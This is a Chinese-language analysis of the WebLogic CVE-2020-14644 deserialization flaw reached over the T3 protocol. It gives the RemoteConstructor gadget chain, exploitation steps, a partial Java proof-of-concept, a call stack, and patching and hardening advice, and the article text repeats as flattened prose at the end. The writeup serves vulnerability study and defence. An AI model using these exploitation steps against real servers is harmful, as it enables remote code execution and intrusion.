CVE-2020-14644 weblogic RemoteConstructor RCE via T3 protocol
字数 1296 2025-08-26 22:12:02

WebLogic CVE-2020-14644 RemoteConstructor RCE via T3协议漏洞分析与利用

漏洞概述

CVE-2020-14644是Oracle WebLogic Server中的一个远程代码执行漏洞,攻击者可以通过T3协议发送恶意序列化数据,利用RemoteConstructor类的反序列化过程实现任意代码执行。该漏洞影响WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0和14.1.1.0.0版本。

漏洞原理

该漏洞的核心在于RemoteConstructor类的反序列化过程中会调用defineClass方法加载任意类并执行其静态代码块。具体流程如下:

  1. 反序列化过程中会调用RemoteConstructorreadResolve方法
  2. readResolve方法调用newInstance方法
  3. newInstance方法调用RemotableSupportrealize方法
  4. realize方法最终调用defineClass加载并实例化攻击者提供的恶意类

关键类分析

RemoteConstructor类

  • 实现了ExternalizableLite接口(继承自Serializable
  • 没有readObject方法但有readResolve方法
  • 包含两个关键属性:
    • m_definitionClassDefinition对象,存储类定义信息
    • m_loader:类加载器(被transient修饰)

ClassDefinition类

构造方法:

public ClassDefinition(ClassIdentity id, byte[] abClass) {
    assert id != null;
    assert abClass != null;
    this.m_id = id;
    this.m_abClass = abClass;
}

ClassIdentity类

用于标识远程类,关键属性:

  • m_sPackage:包名
  • m_sBaseName:类名
  • m_sVersion:类文件的MD5摘要(十六进制)

漏洞利用条件

  1. 恶意类必须实现Remotable接口
  2. 恶意类的类名需要符合特定格式:原类名$MD5摘要
  3. 需要通过T3或IIOP协议发送恶意序列化数据

漏洞利用步骤

  1. 创建恶意类(实现Remotable接口)
  2. 使用ClassIdentity包装恶意类
  3. 修改恶意类名为原类名$MD5摘要格式
  4. 创建ClassDefinition对象
  5. 创建RemoteConstructor对象并序列化
  6. 通过T3协议发送恶意序列化数据

POC代码关键部分

// 1. 创建ClassIdentity
ClassIdentity classIdentity = new ClassIdentity(EvilClass.class);

// 2. 使用javassist修改类名
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(EvilClass.class.getName());
ctClass.replaceClassName(EvilClass.class.getName(), 
    EvilClass.class.getName() + "$" + classIdentity.getVersion());

// 3. 创建ClassDefinition
ClassDefinition classDef = new ClassDefinition(classIdentity, ctClass.toBytecode());

// 4. 创建RemoteConstructor
RemoteConstructor constructor = new RemoteConstructor(classDef, new Object[]{});

调用栈分析

exec:347, Runtime (java.lang)
<clinit>:9, EvilClass$MD5HASH (恶意类)
allocateInstance:-1, Unsafe (sun.misc)
allocateInstance:439, DirectMethodHandle (java.lang.invoke)
newInvokeSpecial__L:-1, MethodHandle (java.lang.invoke)
reinvoke:-1, MethodHandle (java.lang.invoke)
invoker:-1, MethodHandle (java.lang.invoke)
invokeExact_MT:-1, MethodHandle (java.lang.invoke)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadResolve:1260, ObjectStreamClass (java.io)
readOrdinaryObject:2078, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)

修复方案

  1. 安装Oracle官方补丁
  2. RemoteConstructor类加入反序列化黑名单
  3. 限制T3协议数据包来源
  4. 禁用IIOP协议(如果不需要)

防护建议

  1. 及时更新WebLogic到最新版本
  2. 在网络边界限制T3协议(端口7001)的访问
  3. 启用WebLogic的反序列化过滤器
  4. 监控可疑的T3协议通信

总结

CVE-2020-14644通过利用RemoteConstructor类的反序列化过程绕过黑名单限制,实现了远程代码执行。该漏洞再次证明了反序列化漏洞的严重性,管理员应重视中间件的安全配置和及时更新。

WebLogic CVE-2020-14644 RemoteConstructor RCE via T3协议漏洞分析与利用 漏洞概述 CVE-2020-14644是Oracle WebLogic Server中的一个远程代码执行漏洞,攻击者可以通过T3协议发送恶意序列化数据,利用 RemoteConstructor 类的反序列化过程实现任意代码执行。该漏洞影响WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0和14.1.1.0.0版本。 漏洞原理 该漏洞的核心在于 RemoteConstructor 类的反序列化过程中会调用 defineClass 方法加载任意类并执行其静态代码块。具体流程如下: 反序列化过程中会调用 RemoteConstructor 的 readResolve 方法 readResolve 方法调用 newInstance 方法 newInstance 方法调用 RemotableSupport 的 realize 方法 realize 方法最终调用 defineClass 加载并实例化攻击者提供的恶意类 关键类分析 RemoteConstructor类 实现了 ExternalizableLite 接口(继承自 Serializable ) 没有 readObject 方法但有 readResolve 方法 包含两个关键属性: m_definition : ClassDefinition 对象,存储类定义信息 m_loader :类加载器(被 transient 修饰) ClassDefinition类 构造方法: ClassIdentity类 用于标识远程类,关键属性: m_sPackage :包名 m_sBaseName :类名 m_sVersion :类文件的MD5摘要(十六进制) 漏洞利用条件 恶意类必须实现 Remotable 接口 恶意类的类名需要符合特定格式: 原类名$MD5摘要 需要通过T3或IIOP协议发送恶意序列化数据 漏洞利用步骤 创建恶意类(实现 Remotable 接口) 使用 ClassIdentity 包装恶意类 修改恶意类名为 原类名$MD5摘要 格式 创建 ClassDefinition 对象 创建 RemoteConstructor 对象并序列化 通过T3协议发送恶意序列化数据 POC代码关键部分 调用栈分析 修复方案 安装Oracle官方补丁 将 RemoteConstructor 类加入反序列化黑名单 限制T3协议数据包来源 禁用IIOP协议(如果不需要) 防护建议 及时更新WebLogic到最新版本 在网络边界限制T3协议(端口7001)的访问 启用WebLogic的反序列化过滤器 监控可疑的T3协议通信 总结 CVE-2020-14644通过利用 RemoteConstructor 类的反序列化过程绕过黑名单限制,实现了远程代码执行。该漏洞再次证明了反序列化漏洞的严重性,管理员应重视中间件的安全配置和及时更新。